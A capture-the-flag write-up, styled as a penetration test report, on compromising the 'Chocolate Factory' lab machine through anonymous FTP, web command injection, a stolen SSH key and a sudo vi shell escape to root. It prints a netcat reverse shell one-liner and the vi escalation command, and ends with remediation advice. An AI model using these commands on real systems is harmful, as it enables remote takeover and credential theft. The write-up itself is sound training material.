

Penetration Testing Report: Chocolate Factory CTF

Status: Completed (Root Compromise Achieved)

1. Executive Summary

This assessment details the step-by-step compromise of the **Chocolate Factory** target machine. The attack path began with anonymous FTP access, which provided initial hints, followed by exploiting a command injection vulnerability on the web application. A reverse engineering phase of a compiled binary found on the web server yielded necessary access keys. Finally, an SSH private key was used for initial access, and a misconfigured `sudo` privilege on the text editor `vi` was leveraged to escalate privileges to root.

2. Phase 1: Reconnaissance & Enumeration

Active Ports and Services (Nmap)

An initial port scan of the target revealed several open services, including FTP, HTTP, and SSH:

- **Port 21/TCP:** Open — `vsftpd 3.0.3` (Anonymous login allowed)
- **Port 22/TCP:** Open — `OpenSSH 7.6p1`
- **Port 80/TCP:** Open — `Apache httpd 2.4.29`

FTP Enumeration

Because anonymous login was enabled on Port 21, the directory was explored:

- **File Found:** `gumdrop.jpg`
- **Action:** The file was downloaded locally. Embedded metadata or steganographic analysis (using tools like `steghide`) pointed toward potential hidden clues, though the web application remained the primary active vector.

3. Phase 2: Web Exploitation & Command Injection

Directory Discovery & Web Analysis

Navigating to Port 80 revealed a standard login page (`index.php`). Further directory brute-forcing or URL manipulation identified two critical endpoints:

1. `/home.php` — A page containing an input form meant to execute system commands (intended for administrative troubleshooting).
2. `/key_rev_key` — A downloadable compiled ELF binary executable.

Exploiting Command Injection

The input form on `home.php` did not sanitize input, allowing for direct command injection.

1. **Verification:** Submitting `id` or `whoami` returned `www-data`.
2. **Reverse Shell Payload:** A standard Python or Netcat reverse shell payload was injected to establish an interactive shell:
3. Bash

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [YOUR_IP] [YOUR_PORT] >/tmp/f
```

5. **Result:** An interactive shell was caught as the `www-data` user.

Binary Reverse Engineering

The `key_rev_key` binary downloaded earlier was analyzed locally.

- [illegible]

4. Phase 3: Initial Access & Privilege Escalation

SSH Key Retrieval (Initial Access)

While exploring the home directory of the local user `charlie` via the `www-data` shell, a private SSH key named `teleport` was found:

1. **Exfiltration:** The contents of `/home/charlie/teleport` were copied.
2. **Local Setup:** The key was saved locally, and permissions were secured:
3. Bash

```
chmod 600 teleport
```

- 4.
5. **Access:** Connection was established via SSH:
6. Bash

```
ssh -i teleport charlie@10.10.x.x
```

- 7.
- **Result:** Successful shell as **charlie**, allowing retrieval of **user.txt**.

Privilege Escalation (Local to Root)

Running `sudo -l` revealed that `charlie` had permission to execute the text editor `vi` as root without a password:

Plaintext

User charlie may run the following commands on ChocolateFactory:

(ALL : ALL) NOPASSWD: /usr/bin/vi

Exploiting sudo vi

vi allows users to spawn a shell from within the editor. Because it was running with root privileges, the spawned shell inherited those permissions.

The exploit was executed in a single command:

Bash

```
sudo vi -c '!/bin/sh'
```

- **Result:** The editor opened and immediately executed `/bin/sh` as root.
- **Verification:** Root flag retrieved at `/root/root.txt`.

5. Remediation Recommendations

- **Disable Anonymous FTP:** Disable anonymous logins on Port 21 and restrict access to authenticated users only.
- **Sanitize Web Inputs:** Implement strict input validation or remove the command execution functionality in `/home.php` entirely. Avoid passing raw user input directly to system shells.
- **Remove Sensitive Files from Web Root:** Development files, source code, and compiled binaries (like `key_rev_key`) should not be placed in the public web directory.
- **Restrict Sudo Policies:** Do not allow standard users to run highly interactive utilities like `/usr/bin/vi` via `sudo` without strict controls, as they possess well-documented shell escape vectors.